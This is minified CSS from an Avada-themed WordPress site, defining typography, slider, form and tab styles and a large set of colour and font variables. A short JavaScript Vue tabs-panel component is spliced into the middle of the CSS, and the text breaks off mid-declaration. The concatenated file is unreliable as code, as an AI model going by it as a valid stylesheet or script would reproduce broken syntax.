li .tribe-related-events-title,h4,table th{font-family:var(--h4_typography-font-family);font-weight:var(--h4_typography-font-weight);line-height:var(--h4_typography-line-height);letter-spacing:var(--h4_typography-letter-spacing);text-transform:var(--h4_typography-text-transform);font-style:var(--h4_typography-font-style,normal)}.fusion-project-details-tb .project-info .project-terms,.fusion-tb-footer h4,.fusion-tb-page-title-bar h4,.project-content .project-info .project-terms,.project-info-box span,.tribe-events-single ul.tribe-related-events li .tribe-related-events-title,h4{line-height:var(--h4_typography-line-height)}.fusion-carousel-title,.fusion-person .person-author-wrapper .person-name,.fusion-person .person-author-wrapper .person-title,.fusion-rollover .fusion-rollover-content .fusion-rollover-title,.fusion-sharing-box h4,.fusion-tabs .nav-tabs > li .fusion-tab-heading,.fusion-tabs-widget .fusion-tabs-nav ul li a,.fusion-theme-sharing-box h4,.fusion-widget-area h4,.person-author-wrapper,.popover .popover-title,.post-content h4,.tribe-events-single ul.tribe-related-events li .tribe-related-events-title,h4{font-size:var(--h4_typography-font-size)}.fusion-carousel-title,.fusion-content-widget-area .fusion-tabs-widget .fusion-tabs-nav ul li a,.fusion-content-widget-area .fusion-tabs-widget .fusion-tabs-widget-content .fusion-date-box,.fusion-post-content h4,.fusion-project-details-tb .project-info h4,.fusion-tabs .nav-tabs > li .fusion-tab-heading,.fusion-theme-sharing-box h4,.fusion-title h4,.fusion-widget-area h4,.post-content h4,.project-content .project-info h4,.title h4,.tribe-events-single ul.tribe-related-events li .tribe-related-events-title,h4{color:var(--h4_typography-color)}.fusion-title-size-four,h4{margin-top:var(--h4_typography-margin-top);margin-bottom:var(--h4_typography-margin-bottom)}.fusion-title h5,.fusion-widget-area h5,.post-content h5,h5{font-family:var(--h5_typography-font-family);font-weight:var(--h5_typography-font-weight);line-height:var(--h5_typography-line-height);letter-spacing:var(--h5_typography-letter-spacing);text-transform:var(--h5_typography-text-transform);font-style:var(--h5_typography-font-style,normal)}.fusion-widget-area h5,.post-content h5,h5{font-size:var(--h5_typography-font-size)}.fusion-post-content h5,.fusion-title h5,.fusion-widget-area h5,.post-content h5,.title h5,h5{color:var(--h5_typography-color)}h5{margin-top:var(--h5_typography-margin-top);margin-bottom:var(--h5_typography-margin-bottom)}.fusion-title h6,.fusion-widget-area h6,.post-content h6,h6{font-family:var(--h6_typography-font-family);font-weight:var(--h6_typography-font-weight);line-height:var(--h6_typography-line-height);letter-spacing:var(--h6_typography-letter-spacing);text-transform:var(--h6_typography-text-transform);font-style:var(--h6_typography-font-style,normal)}.fusion-widget-area h6,.post-content h6,h6{font-size:var(--h6_typography-font-size)}.fusion-post-content h6,.fusion-title h6,.fusion-widget-area h6,.post-content h6,.title h6,h6{color:var(--h6_typography-color)}.fusion-title-size-six,h6{margin-top:var(--h6_typography-margin-top);margin-bottom:var(--h6_typography-margin-bottom)}#main .fusion-woocommerce-quick-view-container .product_title,#wrapper #main .fusion-portfolio-content > h1.fusion-post-title,#wrapper #main .fusion-portfolio-content > h2.fusion-post-title,#wrapper #main .fusion-post-content > .blog-shortcode-post-title,#wrapper #main .fusion-post-content > h1.fusion-post-title,#wrapper #main .fusion-post-content > h2.fusion-post-title,#wrapper #main .post > .fusion-post-title-meta-wrap > h1.fusion-post-title,#wrapper #main .post > .fusion-post-title-meta-wrap > h2.fusion-post-title,#wrapper #main .post > h1.fusion-post-title,#wrapper #main .post > h2.fusion-post-title,.single-product #main .product h1.product_title,.single-product #main .product h2.product_title{font-family:var(--post_title_typography-font-family);font-weight:var(--post_title_typography-font-weight);line-height:var(--post_title_typography-line-height);letter-spacing:var(--post_title_typography-letter-spacing);text-transform:var(--post_title_typography-text-transform);font-style:var(--post_title_typography-font-style,normal)}#main .fusion-woocommerce-quick-view-container .product_title,#wrapper #main .fusion-portfolio-content > h1.fusion-post-title,#wrapper #main .fusion-portfolio-content > h2.fusion-post-title,#wrapper #main .fusion-post-content > .blog-shortcode-post-title,#wrapper #main .fusion-post-content > h1.fusion-post-title,#wrapper #main .fusion-post-content > h2.fusion-post-title,#wrapper #main .post > .fusion-post-title-meta-wrap > h1.fusion-post-title,#wrapper #main .post > .fusion-post-title-meta-wrap > h2.fusion-post-title,#wrapper #main .post > h1.fusion-post-title,#wrapper #main .post > h2.fusion-post-title,.single-product #main .product h1.product_title,.single-product #main .product h2.product_title{font-size:var(--post_title_typography-font-size)}#wrapper #main .fusion-portfolio-content > h1.fusion-post-title,#wrapper #main .fusion-portfolio-content > h2.fusion-post-title,#wrapper #main .fusion-post-content > .blog-shortcode-post-title,#wrapper #main .fusion-post-content > h1.fusion-post-title,#wrapper #main .fusion-post-content > h2.fusion-post-title,#wrapper #main .post > .fusion-post-title-meta-wrap > h1.fusion-post-title,#wrapper #main .post > .fusion-post-title-meta-wrap > h2.fusion-post-title,#wrapper #main .post > h1.fusion-post-title,#wrapper #main .post > h2.fusion-post-title{color:var(--post_title_typography-color)}#tab-reviews #reviews #comments > h2,#wrapper #main #comments .fusion-title h2,#wrapper #main #comments .fusion-title h3,#wrapper #main #respond .fusion-title h2,#wrapper #main #respond .fusion-title h3,#wrapper #main .about-author .fusion-title h2,#wrapper #main .about-author .fusion-title h3,#wrapper #main .related-posts .fusion-title h2,#wrapper #main .related-posts .fusion-title h3,#wrapper #main .related.products .fusion-title h2,#wrapper #main .related.products .fusion-title h3,.single-product .woocommerce-tabs .fusion-woocommerce-tab-title,.woocommerce-container .up-sells .fusion-title h3{font-family:var(--post_titles_extras_typography-font-family);font-weight:var(--post_titles_extras_typography-font-weight);line-height:var(--post_titles_extras_typography-line-height);letter-spacing:var(--post_titles_extras_typography-letter-spacing);text-transform:var(--post_titles_extras_typography-text-transform);font-style:var(--post_titles_extras_typography-font-style,normal)}#tab-reviews #reviews #comments > h2,#wrapper #main #comments .fusion-title h2,#wrapper #main #comments .fusion-title h3,#wrapper #main #respond .fusion-title h2,#wrapper #main #respond .fusion-title h3,#wrapper #main .about-author .fusion-title h2,#wrapper #main .about-author .fusion-title h3,#wrapper #main .related-posts .fusion-title h2,#wrapper #main .related-posts .fusion-title h3,#wrapper #main .related.products .fusion-title h2,#wrapper #main .related.products .fusion-title h3,.single-product .woocommerce-tabs .fusion-woocommerce-tab-title,.woocommerce-container .up-sells .fusion-title h3{font-size:var(--post_titles_extras_typography-font-size)}#tab-reviews #reviews #comments > h2,#wrapper #main #comments .fusion-title h2,#wrapper #main #comments .fusion-title h3,#wrapper #main #respond .fusion-title h2,#wrapper #main #respond .fusion-title h3,#wrapper #main .about-author .fusion-title h2,#wrapper #main .about-author .fusion-title h3,#wrapper #main .related-posts .fusion-title h2,#wrapper #main .related-posts .fusion-title h3,#wrapper #main .related.products .fusion-title h2,#wrapper #main .related.products .fusion-title h3,.single-product .woocommerce-tabs .fusion-woocommerce-tab-title,.woocommerce-container .up-sells .fusion-title h3{color:var(--post_titles_extras_typography-color)}.avada-has-rev-slider-styles .rev_slider_wrapper{position:relative;-webkit-transform:translateZ(0)}html:not(.avada-header-color-not-opaque) .avada-has-rev-slider-styles .rev_slider_wrapper .shadow-left{position:absolute;pointer-events:none;background-image:var(--avada-rev-image-shadow-top);background-repeat:no-repeat;background-position:top center;height:42px;width:100%;top:-1px;z-index:99}.avada-has-rev-slider-styles .rev_slider_wrapper .shadow-right{position:absolute;pointer-events:none;background-image:var(--avada-rev-image-shadow-bottom);background-repeat:no-repeat;background-position:bottom center;height:32px;width:100%;bottom:0;z-index:99}.avada-has-rev-slider-styles .rev_slider_wrapper .rev_slider .tp-leftarrow.tparrows,.avada-has-rev-slider-styles .rev_slider_wrapper .rev_slider .tp-rightarrow.tparrows{opacity:.8!important;position:absolute;top:50%!important;margin-top:-31px!important;width:63px!important;height:63px!important;background:0 0;background-color:rgba(0,0,0,.5);color:#fff;border-radius:0;display:block;z-index:100}.avada-has-rev-slider-styles .rev_slider_wrapper .rev_slider .tp-leftarrow.tparrows:before,.avada-has-rev-slider-styles .rev_slider_wrapper .rev_slider .tp-rightarrow.tparrows:before{position:absolute;padding:0;width:100%;line-height:63px;text-align:center;font-size:25px;font-family:awb-icons;-webkit-font-smoothing:antialiased}.avada-has-rev-slider-styles .rev_slider_wrapper .rev_slider .tp-leftarrow.tparrows:hover,.avada-has-rev-slider-styles .rev_slider_wrapper .rev_slider .tp-rightarrow.tparrows:hover{opacity:1!important}.avada-has-rev-slider-styles .rev_slider_wrapper .rev_slider .tp-leftarrow.tparrows.hidearrows,.avada-has-rev-slider-styles .rev_slider_wrapper .rev_slider .tp-rightarrow.tparrows.hidearrows{opacity:0}.avada-has-rev-slider-styles .rev_slider_wrapper .rev_slider .tp-leftarrow.tparrows.hebe:before,.avada-has-rev-slider-styles .rev_slider_wrapper .rev_slider .tp-rightarrow.tparrows.hebe:before{position:relative;width:auto}.avada-has-rev-slider-styles .rev_slider_wrapper .rev_slider .tp-leftarrow.tparrows.zeus,.avada-has-rev-slider-styles .rev_slider_wrapper .rev_slider .tp-rightarrow.tparrows.zeus{min-width:63px;min-height:63px}.avada-has-rev-slider-styles .rev_slider_wrapper .rev_slider .tp-leftarrow.tparrows.zeus .tp-title-wrap,.avada-has-rev-slider-styles .rev_slider_wrapper .rev_slider .tp-rightarrow.tparrows.zeus .tp-title-wrap{border-radius:0}.avada-has-rev-slider-styles .rev_slider_wrapper .rev_slider .tp-leftarrow.tparrows.metis,.avada-has-rev-slider-styles .rev_slider_wrapper .rev_slider .tp-rightarrow.tparrows.metis{padding:0}.avada-has-rev-slider-styles .rev_slider_wrapper .rev_slider .tp-leftarrow.tparrows{background-position:19px 19px;left:0;margin-left:0}.avada-has-rev-slider-styles .rev_slider_wrapper .rev_slider .tp-leftarrow.tparrows:before{content:"\e61e";margin-left:-2px}.avada-has-rev-slider-styles .rev_slider_wrapper .rev_slider .tp-rightarrow.tparrows{left:auto;right:0;background-position:29px 19px;margin-left:0}.avada-has-rev-slider-styles .rev_slider_wrapper .rev_slider .tp-rightarrow.tparrows:before{content:"\e620";margin-left:-1px}.avada-has-rev-slider-styles .rev_slider_wrapper .rev_slider .hades .tp-arr-allwrapper{width:63px;height:63px}.avada-has-rev-slider-styles .avada-skin-rev{border-top:1px solid #d2d3d4;border-bottom:1px solid #d2d3d4;box-sizing:content-box}.avada-has-rev-slider-styles .tparrows{border-radius:0}.avada-has-rev-slider-styles .tp-bullets .bullet.last{clear:none}.avada-select-parent .select-arrow,.gravity-select-parent .select-arrow,.select-arrow,.wpcf7-select-parent .select-arrow{right:var(--form_border_width-right)}.avada-select-parent .select-arrow,.gravity-select-parent .select-arrow,.select-arrow,.wpcf7-select-parent .select-arrow{border-top-left-radius:0;border-bottom-left-radius:0}.fusion-search-element .searchform.fusion-search-form-clean .fusion-search-form-content .fusion-search-field input,.fusion-search-form-clean #bbpress-forums .bbp-search-form #bbp_search,.fusion-search-form-clean .searchform:not(.fusion-search-form-classic) .fusion-search-form-content .fusion-search-field input{padding-left:var(--form_input_height)}.fusion-search-element .searchform.fusion-search-form-classic .fusion-search-form-content .fusion-search-field input,.fusion-search-form-classic #bbpress-forums .bbp-search-form #bbp_search,.fusion-search-form-classic .searchform:not(.fusion-search-form-clean) .fusion-search-form-content .fusion-search-field input{border-right:none;border-top-right-radius:0;border-bottom-right-radius:0}#wrapper .fusion-date-and-formats .fusion-format-box,.tribe-mini-calendar-event .list-date .list-dayname,.widget .tribe-mini-calendar-event .list-date .list-dayname{background-color:var(--dates_box_color)}.fusion-menu-item-button .menu-text{border-color:var(--button_border_color)}.fusion-menu-item-button:hover .menu-text{border-color:var(--button_border_hover_color,var(--button_border_color))}.fusion-theme-sharing-box{justify-content:space-between}.fusion-theme-sharing-box.fusion-sharing-box{margin-top:60px}.avada-social-full-transparent .fusion-theme-sharing-box{padding-left:0;padding-right:0}.fusion-theme-sharing-box h4{margin:0;color:var(--sharing_box_tagline_text_color,var(--h4_typography-color))}.fusion-theme-sharing-box .fusion-social-networks-wrapper{display:flex;flex-wrap:wrap;justify-content:flex-end}.fusion-theme-sharing-box .fusion-social-networks.boxed-icons .fusion-social-network-icon:not(.custom){border-radius:var(--sharing_social_links_boxed_radius)}const TabsPanel = {
	name: 'cx-vui-tabs-panel',
	template: '#cx-vui-tabs-panel',
	props: {
		tab: {
			type: String,
			default: ''
		},
		name: {
			type: String,
			default: ''
		},
		label: {
			type: String,
			default: ''
		},
	},
	data() {
		return {
			show: false,
		};
	},
	methods: {
	},
};

export default TabsPanel;.fusion-main-menu .fusion-main-menu-cart .fusion-custom-menu-item-contents,.fusion-main-menu .fusion-main-menu-search .fusion-custom-menu-item-contents,.fusion-main-menu .fusion-menu-login-box .fusion-custom-menu-item-contents{border:0;}.fusion-alert:not(.fusion-live-alert) .close{display:inline;}.fusion-portfolio-boxed.fusion-portfolio-element .fusion-portfolio-content{padding-top:25px;padding-right:25px;padding-bottom:25px;padding-left:25px;}.fusion-content-widget-area .fusion-tabs-widget .fusion-tabs-widget-content{background-color:var(--tabs_bg_color);}.fusion-content-widget-area .fusion-tabs-widget .fusion-tabs-nav ul li{border-right-color:var(--tabs_bg_color);}.fusion-content-widget-area .fusion-tabs-widget .fusion-tabs-clean .fusion-tabs-nav ul{border:1px solid var(--tabs_border_color,  var(--awb-fusion-border-color));}.fusion-content-widget-area .fusion-tabs-widget .fusion-tabs-clean .fusion-tabs-nav ul li{border-right-color:var(--tabs_border_color,  var(--awb-fusion-border-color));}.fusion-content-widget-area .fusion-tabs-widget .fusion-tabs-nav ul li a{border-top-color:var(--tabs_inactive_color);}.fusion-content-widget-area .fusion-tabs-widget .fusion-tabs-nav ul li a,.fusion-content-widget-area .fusion-tabs-widget .fusion-tabs-widget-content .fusion-date-box{background:var(--tabs_inactive_color);}.fusion-content-widget-area .fusion-tabs-widget .fusion-tabs-nav ul li a:hover{background:var(--tabs_bg_color);border-top-color:var(--tabs_bg_color);}.fusion-content-widget-area .fusion-tabs-widget .fusion-tabs-nav ul li.active a{background:var(--tabs_bg_color);}.fusion-content-widget-area .fusion-tabs-widget .fusion-tabs-classic,.fusion-content-widget-area .fusion-tabs-widget .fusion-tabs-widget-content .fusion-tabs-widget-items li{border-color:var(--tabs_border_color,  var(--awb-fusion-border-color));}.fusion-secondary-menu .fusion-menu-cart-item img{border-color:var(--sep_color);}.checkout .payment_methods .payment_box,.fusion-body blockquote,.post-content blockquote,.review blockquote q{background-color:var(--testimonial_bg_color);}.review blockquote q{color:var(--testimonial_text_color);}.fontawesome-icon{color:var(--icon_color);}.fontawesome-icon.circle-yes{color:var(--icon_color);background-color:var(--icon_circle_color);border-color:var(--icon_border_color);border-radius:50% 50% 50% 50%;}.fontawesome-icon:hover{color:var(--icon_color_hover);}.fontawesome-icon.circle-yes:hover{color:var(--icon_color_hover);background-color:var(--icon_circle_color_hover);border-color:var(--icon_border_color_hover);}#reviews li .comment-text,#small-nav,#wrapper .side-nav li a,#wrapper .side-nav li.current_page_item li a,.avada-skin-rev,.chzn-container-single .chzn-single,.chzn-container-single .chzn-single div,.chzn-drop,.commentlist .the-comment,.es-carousel-wrapper.fusion-carousel-small .es-carousel ul li img,.fusion-author .fusion-author-social,.fusion-author-widget .fusion-author-widget-separator .fusion-author-widget-sep,.fusion-content-widget-area .widget .recentcomments,.fusion-content-widget-area .widget li a,.fusion-content-widget-area .widget li a:before,.fusion-content-widget-area .widget_archive li,.fusion-content-widget-area .widget_categories li,.fusion-content-widget-area .widget_links li,.fusion-content-widget-area .widget_meta li,.fusion-content-widget-area .widget_nav_menu li,.fusion-content-widget-area .widget_pages li,.fusion-content-widget-area .widget_recent_entries li,.fusion-counters-box .fusion-counter-box .counter-box-border,.fusion-filters,.fusion-hide-pagination-text .pagination-next,.fusion-hide-pagination-text .pagination-prev,.fusion-pagination .page-numbers,.fusion-project-details-tb .project-info .project-info-box,.fusion-tabs.vertical-tabs.clean .nav-tabs li .tab-link,.input-radio,.ls-avada,.page-links a,.pagination a.inactive,.panel.entry-content,.post .fusion-meta-info,.price_slider_wrapper,.progress-bar,.project-content .project-info .project-info-box,.search-page-search-form,.side-nav,.side-nav li a,.single-navigation,.table,.table > tbody > tr > td,.table > tbody > tr > th,.table > tfoot > tr > td,.table > tfoot > tr > th,.table > thead > tr > td,.table > thead > tr > th,.table-1 table,.table-1 table th,.table-1 tr td,.table-2 table thead,.table-2 tr td,.tabs-vertical .tabs-container .tab_content,.tabs-vertical .tabset,.tagcloud a,.tkt-slctr-tbl-wrap-dv table,.tkt-slctr-tbl-wrap-dv tr td,h5.toggle.active + .toggle-content,tr td{border-color:var(--sep_color);}.price_slider_wrapper .ui-widget-content{background-color:var(--sep_color);}:root{--awb-color1:#ffffff;--awb-color1-h:0;--awb-color1-s:0%;--awb-color1-l:100%;--awb-color1-a:100%;--awb-color2:#ebebeb;--awb-color2-h:0;--awb-color2-s:0%;--awb-color2-l:92%;--awb-color2-a:100%;--awb-color3:#b6aa7b;--awb-color3-h:48;--awb-color3-s:29%;--awb-color3-l:60%;--awb-color3-a:100%;--awb-color4:#f1345d;--awb-color4-h:347;--awb-color4-s:87%;--awb-color4-l:57%;--awb-color4-a:100%;--awb-color5:#4a4a99;--awb-color5-h:240;--awb-color5-s:35%;--awb-color5-l:45%;--awb-color5-a:100%;--awb-color6:#6e6e6e;--awb-color6-h:0;--awb-color6-s:0%;--awb-color6-l:43%;--awb-color6-a:100%;--awb-color7:#494949;--awb-color7-h:0;--awb-color7-s:0%;--awb-color7-l:29%;--awb-color7-a:100%;--awb-color8:#000000;--awb-color8-h:0;--awb-color8-s:0%;--awb-color8-l:0%;--awb-color8-a:100%;--awb-typography1-font-family:"Cormorant Garamond", Arial, Helvetica, sans-serif;--awb-typography1-font-size:106px;--awb-typography1-font-weight:500;--awb-typography1-font-style:normal;--awb-typography1-line-height:1.2;--awb-typography1-letter-spacing:-2px;--awb-typography1-text-transform:none;--awb-typography2-font-family:Poppins, Arial, Helvetica, sans-serif;--awb-typography2-font-size:19px;--awb-typography2-font-weight:500;--awb-typography2-font-style:normal;--awb-typography2-line-height:1.1;--awb-typography2-letter-spacing:1px;--awb-typography2-text-transform:none;--awb-typography3-font-family:Poppins, Arial, Helvetica, sans-serif;--awb-typography3-font-size:14px;--awb-typography3-font-weight:600;--awb-typography3-font-style:normal;--awb-typography3-line-height:1.2;--awb-typography3-letter-spacing:0.015em;--awb-typography3-text-transform:uppercase;--awb-typography4-font-family:"Cormorant Garamond", Arial, Helvetica, sans-serif;--awb-typography4-font-size:21px;--awb-typography4-font-weight:500;--awb-typography4-font-style:normal;--awb-typography4-line-height:1.5;--awb-typography4-letter-spacing:0px;--awb-typography4-text-transform:none;--awb-typography5-font-family:Poppins, Arial, Helvetica, sans-serif;--awb-typography5-font-size:13px;--awb-typography5-font-weight:400;--awb-typography5-font-style:normal;--awb-typography5-line-height:1.72;--awb-typography5-letter-spacing:0.015em;--awb-typography5-text-transform:none;--site_width:1100px;--site_width-int:1100;--margin_offset-top:0px;--margin_offset-bottom:0px;--margin_offset-top-no-percent:0px;--margin_offset-bottom-no-percent:0px;--main_padding-top:60px;--main_padding-top-or-55px:60px;--main_padding-bottom:60px;--hundredp_padding:20px;--hundredp_padding-fallback_to_zero:20px;--hundredp_padding-fallback_to_zero_px:20px;--hundredp_padding-hundred_percent_negative_margin:-20px;--sidebar_width:23%;--sidebar_gutter:80px;--sidebar_2_1_width:21%;--sidebar_2_2_width:21%;--dual_sidebar_gutter:40px;--grid_main_break_point:900;--side_header_break_point:1150;--content_break_point:800;--typography_sensitivity:0.54;--typography_factor:1.50;--primary_color:var(--awb-color3);--primary_color-85a:hsla(var(--awb-color3-h),var(--awb-color3-s),var(--awb-color3-l),calc(var(--awb-color3-a) - 15%));--primary_color-7a:hsla(var(--awb-color3-h),var(--awb-color3-s),var(--awb-color3-l),calc(var(--awb-color3-a) - 30%));--primary_color-5a:hsla(var(--awb-color3-h),var(--awb-color3-s),var(--awb-color3-l),calc(var(--awb-color3-a) - 50%));--primary_color-35a:hsla(var(--awb-color3-h),var(--awb-color3-s),var(--awb-color3-l),calc(var(--awb-color3-a) - 65%));--primary_color-2a:hsla(var(--awb-color3-h),var(--awb-color3-s),var(--awb-color3-l),calc(var(--awb-color3-a) - 80%));--header_bg_repeat:no-repeat;--side_header_width:0px;--side_header_width-int:0;--header_padding-top:0px;--header_padding-bottom:0px;--header_padding-left:0px;--header_padding-right:0px;--menu_highlight_background:var(--awb-color3);--menu_arrow_size-width:23px;--menu_arrow_size-height:12px;--nav_highlight_border:0px;--nav_padding:65px;--nav_padding-no-zero:65px;--dropdown_menu_top_border_size:3px;--dropdown_menu_width:200px;--mainmenu_dropdown_vertical_padding:10px;--menu_sub_bg_color:var(--awb-color1);--menu_bg_hover_color:var(--awb-color3);--menu_sub_sep_color:rgba(0,0,0,0);--menu_h45_bg_color:var(--awb-color1);--nav_typography-font-family:Poppins;--nav_typography-font-weight:600;--nav_typography-font-size:14px;--nav_typography-letter-spacing:1px;--nav_typography-color:var(--awb-color3);--nav_typography-color-65a:hsla(var(--awb-color3-h),var(--awb-color3-s),var(--awb-color3-l),calc(var(--awb-color3-a) - 35%));--nav_typography-color-35a:hsla(var(--awb-color3-h),var(--awb-color3-s),var(--awb-color3-l),calc(var(--awb-color3-a) - 65%));--menu_hover_first_color:var(--awb-color8);--menu_hover_first_color-65a:hsla(var(--awb-color8-h),var(--awb-color8-s),var(--awb-color8-l),calc(var(--awb-color8-a) - 35%));--menu_sub_color:var(--awb-color7);--nav_dropdown_font_size:14px;--flyout_menu_icon_font_size:20px;--flyout_menu_icon_font_size_px:20px;--snav_font_size:12px;--sec_menu_lh:44px;--header_top_menu_sub_color:var(--awb-color6);--mobile_menu_icons_top_margin:0px;--mobile_menu_nav_height:45px;--mobile_header_bg_color:var(--awb-color1);--mobile_menu_background_color:var(--awb-color1);--mobile_menu_hover_color:var(--awb-color4);--mobile_menu_border_color:var(--awb-color1);--mobile_menu_toggle_color:var(--awb-color8);--mobile_menu_typography-font-family:Poppins;--mobile_menu_typography-font-size:14px;--mobile_menu_typography-font-weight:600;--mobile_menu_typography-line-height:45px;--mobile_menu_typography-letter-spacing:1px;--mobile_menu_typography-color:var(--awb-color6);--mobile_menu_typography-font-size-30-or-24px:24px;--mobile_menu_typography-font-size-open-submenu:var(--mobile_menu_typography-font-size, 13px);--mobile_menu_font_hover_color:var(--awb-color1);--menu_icon_size:14px;--logo_alignment:left;--logo_background_color:var(--awb-color5);--slidingbar_width:300px;--slidingbar_width-percent_to_vw:300px;--slidingbar_content_padding-top:35px;--slidingbar_content_padding-bottom:35px;--slidingbar_content_padding-left:30px;--slidingbar_content_padding-right:30px;--slidingbar_bg_color:var(--awb-color5);--slidingbar_divider_color:var(--awb-color5);--slidingbar_link_color:var(--awb-color3);--slidingbar_link_color_hover:var(--awb-color1);--footer_divider_color:var(--awb-color3);--footer_headings_typography-font-family:Poppins;--footer_headings_typography-font-size:16px;--footer_headings_typography-font-weight:500;--footer_headings_typography-line-height:1.32;--footer_headings_typography-letter-spacing:1px;--footer_headings_typography-color:var(--awb-color1);--footer_text_color:var(--awb-color1);--sidebar_bg_color:rgba(255,255,255,0);--bg_image:none;--bg_repeat:no-repeat;--bg_color:var(--awb-color1);--bg-color-overlay:normal;--bg_pattern:url("//dermxpert.ro/wp-content/themes/Avada/assets/images/patterns/pattern1.png");--content_bg_color:var(--awb-color1);--content_bg_image:none;--content_bg_repeat:no-repeat;--body_typography-font-family:var(--awb-typography4-font-family);--body_typography-font-size:var(--awb-typography4-font-size);--base-font-size:21;--body_typography-font-weight:var(--awb-typography4-font-weight);--body_typography-font-style:var(--awb-typography4-font-style);--body_typography-line-height:var(--awb-typography4-line-height);--body_typography-letter-spacing:var(--awb-typography4-letter-spacing);--body_typography-color:var(--awb-color6);--link_color:var(--awb-color7);--link_color-8a:hsla(var(--awb-color7-h),var(--awb-color7-s),var(--awb-color7-l),calc(var(--awb-color7-a) - 20%));--link_hover_color:var(--awb-color3);--link_hover_color-85a:hsla(var(--awb-color3-h),var(--awb-color3-s),var(--awb-color3-l),calc(var(--awb-color3-a) - 15%));--link_hover_color-7a:hsla(var(--awb-color3-h),var(--awb-color3-s),var(--awb-color3-l),calc(var(--awb-color3-a) - 30%));--link_hover_color-5a:hsla(var(--awb-color3-h),var(--awb-color3-s),var(--awb-color3-l),calc(var(--awb-color3-a) - 50%));--link_hover_color-35a:hsla(var(--awb-color3-h),var(--awb-color3-s),var(--awb-color3-l),calc(var(--awb-color3-a) - 65%));--link_hover_color-2a:hsla(var(--awb-color3-h),var(--awb-color3-s),var(--awb-color3-l),calc(var(--awb-color3-a) - 80%));--awb-link_decoration_line:none;--awb-link_decoration_style:solid;--awb-link_decoration_thickness:1px;--awb-link_decoration_underline_offset:auto;--awb-link_decoration_line_hover:none;--awb-link_decoration_style_hover:solid;--awb-link_decoration_thickness_hover:1px;--awb-link_decoration_underline_offset_hover:auto;--h1_typography-font-family:var(--awb-typography1-font-family);--h1_typography-font-weight:var(--awb-typography1-font-weight);--h1_typography-line-height:var(--awb-typography1-line-height);--h1_typography-letter-spacing:var(--awb-typography1-letter-spacing);--h1_typography-font-style:var(--awb-typography1-font-style);--h1_typography-font-size:var(--awb-typography1-font-size);--h1_typography-color:var(--awb-color7);--h1_typography-margin-top:0.4em;--h1_typography-margin-bottom:0.45em;--h2_typography-font-family:var(--awb-typography1-font-family);--h2_typography-font-weight:var(--awb-typography1-font-weight);--h2_typography-line-height:var(--awb-typography1-line-height);--h2_typography-letter-spacing:var(--awb-typography1-letter-spacing);--h2_typography-font-style:var(--awb-typography1-font-style);--h2_typography-font-size:72px;--h2_typography-color:var(--awb-color7);--h2_typography-margin-top:0.3em;--h2_typography-margin-bottom:32px;--h3_typography-font-family:var(--awb-typography1-font-family);--h3_typography-font-weight:var(--awb-typography1-font-weight);--h3_typography-line-height:var(--awb-typography1-line-height);--h3_typography-letter-spacing:var(--awb-typography1-letter-spacing);--h3_typography-font-style:var(--awb-typography1-font-style);--h3_typography-font-size:45px;--h3_typography-color:var(--awb-color7);--h3_typography-margin-top:0.75em;--h3_typography-margin-bottom:32px;--h4_typography-font-family:var(--awb-typography2-font-family);--h4_typography-font-weight:var(--awb-typography2-font-weight);--h4_typography-line-height:var(--awb-typography2-line-height);--h4_typography-letter-spacing:var(--awb-typography2-letter-spacing);--h4_typography-font-style:var(--awb-typography2-font-style);--h4_typography-font-size:var(--awb-typography2-font-size);--h4_typography-color:var(--awb-color7);--h4_typography-margin-top:1.52em;--h4_typography-margin-bottom:1.52em;--h5_typography-font-family:var(--awb-typography2-font-family);--h5_typography-font-weight:var(--awb-typography2-font-weight);--h5_typography-line-height:var(--awb-typography2-line-height);--h5_typography-letter-spacing:var(--awb-typography2-letter-spacing);--h5_typography-font-style:var(--awb-typography2-font-style);--h5_typography-font-size:16px;--h5_typography-color:var(--awb-color7);--h5_typography-margin-top:1.77em;--h5_typography-margin-bottom:1.77em;--h6_typography-font-family:var(--awb-typography2-font-family);--h6_typography-font-weight:var(--awb-typography2-font-weight);--h6_typography-line-height:var(--awb-typography2-line-height);--h6_typography-letter-spacing:var(--awb-typography2-letter-spacing);--h6_typography-font-style:var(--awb-typography2-font-style);--h6_typography-font-size:13px;--h6_typography-color:var(--awb-color7);--h6_typography-margin-top:2.2em;--h6_typography-margin-bottom:2.2em;--post_title_typography-font-family:var(--awb-typography1-font-family);--post_title_typography-font-weight:var(--awb-typography1-font-weight);--post_title_typography-line-height:var(--awb-typography1-line-height);--post_title_typography-letter-spacing:var(--awb-typography1-letter-spacing);--post_title_typography-font-style:var(--awb-typography1-font-style);--post_title_typography-font-size:18px;--post_title_typography-color:var(--awb-color7);--post_titles_extras_typography-font-family:var(--awb-typography1-font-family);--post_titles_extras_typography-font-weight:var(--awb-typography1-font-weight);--post_titles_extras_typography-line-height:var(--awb-typography1-line-height);--post_titles_extras_typography-letter-spacing:var(--awb-typography1-letter-spacing);--post_titles_extras_typography-font-style:var(--awb-typography1-font-style);--post_titles_extras_typography-font-size:30px;--post_titles_extras_typography-color:var(--awb-color7);--blog_archive_grid_column_spacing:40px;--dates_box_color:var(--awb-color2);--meta_font_size:12px;--portfolio_archive_column_spacing:20px;--portfolio_meta_font_size:13px;--social_bg_color:hsla(var(--awb-color8-h),var(--awb-color8-s),calc( var(--awb-color8-l) + 96% ),var(--awb-color8-a));--social_sharing_padding-top:1.25em;--social_sharing_padding-right:1.25em;--social_sharing_padding-bottom:1.25em;--social_sharing_padding-left:1.25em;--sharing_social_links_icon_color:var(--awb-color2);--sharing_social_links_box_color:hsla(var(--awb-color8-h),var(--awb-color8-s),calc( var(--awb-color8-l) + 91% ),var(--awb-color8-a));--sharing_social_links_boxed_padding:8px;--slider_nav_box_dimensions-width:30px;--slider_nav_box_dimensions-height:30px;--slider_arrow_size:14px;--es_caption_font_size:20px;--form_input_height:48px;--form_input_height-main-menu-search-width:calc(250px + 1.43 * 48px);--form_text_size:13px;--form_bg_color:var(--awb-color1);--form_text_color:hsla(var(--awb-color8-h),var(--awb-color8-s),calc( var(--awb-color8-l) + 65% ),var(--awb-color8-a));--form_text_color-35a:hsla(var(--awb-color8-h),var(--awb-color8-s),calc(var(--awb-color8-l) + 65%),calc(var(--awb-color8-a) - 65%));--form_border_width-top:1px;--form_border_width-bottom:1px;--form_border_width-left:1px;--form_border_width-right:1px;--form_border_color:var(--awb-color2);--form_focus_border_color:var(--awb-color2);--form_focus_border_color-5a:hsla(var(--awb-color2-h),var(--awb-color2-s),var(--awb-color2-l),calc(var(--awb-color2-a) - 50%));--form_border_radius:0px;--live_search_results_height:250px;--privacy_bg_color:hsla(var(--awb-color8-h),var(--awb-color8-s),var(--awb-color8-l),calc( var(--awb-color8-a) - 90% 